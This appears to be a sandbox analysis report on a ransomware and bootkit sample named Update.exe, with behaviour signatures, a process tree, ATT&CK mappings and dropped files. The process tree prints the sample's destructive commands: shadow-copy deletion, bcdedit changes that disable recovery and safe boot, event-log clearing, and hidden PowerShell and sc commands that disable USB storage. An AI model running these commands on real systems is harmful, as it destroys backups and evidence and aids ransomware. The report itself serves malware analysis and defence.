Overview

overview

10

Static

static

3

Update.exe

windows10-2004-x64

Update.exe

windows11-ltsc_2024-x64

Resubmissions

28/07/2026, 10:06

260728-l5bx5stgmg10

28/07/2026, 09:36

260728-lld86agd7310

Analysis

  • max time kernel
    28s
  • max time network
    30s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 09:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    Update.exe
  • Size 360KB
  • Sample260728-lld86agd73
  • SHA256 5d44033558871299a5fb181524419c281c03bb0a57b91e89412b7d14daec3808
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
bootkitdefense_evasionevasionexecutionimpactpersistenceransomwaretrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Clears Windows event logs 1 TTPs 6 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 8 IoCs
    ransomwareevasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 50 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • System policy modification 1 TTPs 3 IoCs
    defense_evasion
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\Update.exe
    "C:\Users\Admin\AppData\Local\Temp\Update.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Writes to the Master Boot Record (MBR)
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:5860
    • C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:6080
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4880
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3500
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {default} safebootminimal disabled
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:2516
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {default} safebootnetwork disabled
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:5560
    • C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil cl System
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:4120
    • C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil cl Setup
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:4272
    • C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil cl Application
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:4416
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice | Where-Object { $_.InstanceId -like 'USBSTOR*' } | Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice | Where-Object { $_.InstanceId -like 'USBSTOR*' } | Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2212
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop USBSTOR >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5352
      • C:\Windows\system32\sc.exe
        sc stop USBSTOR
        3⤵
        • Launches sc.exe
        PID:1688
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config USBSTOR start= disabled >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2192
      • C:\Windows\system32\sc.exe
        sc config USBSTOR start= disabled
        3⤵
        • Launches sc.exe
        PID:3204
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2840
      • C:\Windows\system32\taskkill.exe
        taskkill /f /im explorer.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4776
    • C:\Windows\SYSTEM32\vssadmin.exe
      vssadmin.exe delete shadows /all /quiet
      2⤵
      • Interacts with shadow copies
      PID:2352
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:1016
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3848
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {default} safebootminimal disabled
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3516
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /set {default} safebootnetwork disabled
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4948
    • C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil cl System
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:4992
    • C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil cl Setup
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:1228
    • C:\Windows\SYSTEM32\wevtutil.exe
      wevtutil cl Application
      2⤵
      • Clears Windows event logs
      • Suspicious use of AdjustPrivilegeToken
      PID:4564
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice | Where-Object { $_.InstanceId -like 'USBSTOR*' } | Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3124
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice | Where-Object { $_.InstanceId -like 'USBSTOR*' } | Disable-PnpDevice -Confirm:$false -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5084
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc stop USBSTOR >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4432
      • C:\Windows\system32\sc.exe
        sc stop USBSTOR
        3⤵
        • Launches sc.exe
        PID:3704
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config USBSTOR start= disabled >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Windows\system32\sc.exe
        sc config USBSTOR start= disabled
        3⤵
        • Launches sc.exe
        PID:4180
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c shutdown /r /f /t 0 >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5688
      • C:\Windows\system32\shutdown.exe
        shutdown /r /f /t 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3476
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:5904
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa39c1055 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:3376
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:3676
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k CameraMonitor
      1⤵
        PID:4532

      Network

            MITRE ATT&CK Enterprise v16

            Reconnaissance

            Resource Development

            Initial Access

            Execution

            Command and Scripting Interpreter

            2
            T1059

            PowerShell

            1
            T1059.001

            Windows Command Shell

            1
            T1059.003

            System Services

            2
            T1569

            Service Execution

            2
            T1569.002

            Windows Management Instrumentation

            1
            T1047

            Persistence

            Create or Modify System Process

            2
            T1543

            Windows Service

            2
            T1543.003

            Pre-OS Boot

            1
            T1542

            Bootkit

            1
            T1542.003

            Privilege Escalation

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Create or Modify System Process

            2
            T1543

            Windows Service

            2
            T1543.003

            Defense Evasion

            Abuse Elevation Control Mechanism

            1
            T1548

            Bypass User Account Control

            1
            T1548.002

            Direct Volume Access

            1
            T1006

            Impair Defenses

            2
            T1562

            Disable or Modify Tools

            1
            T1562.001

            Indicator Removal

            3
            T1070

            Clear Windows Event Logs

            1
            T1070.001

            File Deletion

            2
            T1070.004

            Modify Registry

            2
            T1112

            Pre-OS Boot

            1
            T1542

            Bootkit

            1
            T1542.003

            Credential Access

            Discovery

            Peripheral Device Discovery

            1
            T1120

            Query Registry

            1
            T1012

            System Information Discovery

            2
            T1082

            Lateral Movement

            Collection

            Command and Control

            Exfiltration

            Impact

            Inhibit System Recovery

            3
            T1490

            Service Stop

            2
            T1489

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            StartupProfileData-NonInteractive
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            __PSScriptPolicyTest_byarkrug.020.ps1
            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_byarkrug.020.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            YOUR_FILES_ENCRYPTED.txt
            • Path C:\YOUR_FILES_ENCRYPTED.txt
            • Size 14B
            • SHA256 9e5618585297df96224e485b6ad6f83711dcb9fcade773fa57c4823123dcabee
            • MD5 SHA1 SHA512
            Submit Download

            memory/2212-2-0x0000020F176B0000-0x0000020F176D2000-memory.dmp
            Download

            memory/2212-5-0x0000020F2F750000-0x0000020F2F76E000-memory.dmp
            Download

            memory/2212-6-0x0000020F2F770000-0x0000020F2F822000-memory.dmp
            Download

            memory/2212-7-0x0000020F176F0000-0x0000020F176FA000-memory.dmp
            Download

            memory/2212-8-0x0000020F2FBC0000-0x0000020F2FBDE000-memory.dmp
            Download

            memory/5084-16-0x000001F3F1120000-0x000001F3F11D2000-memory.dmp
            Download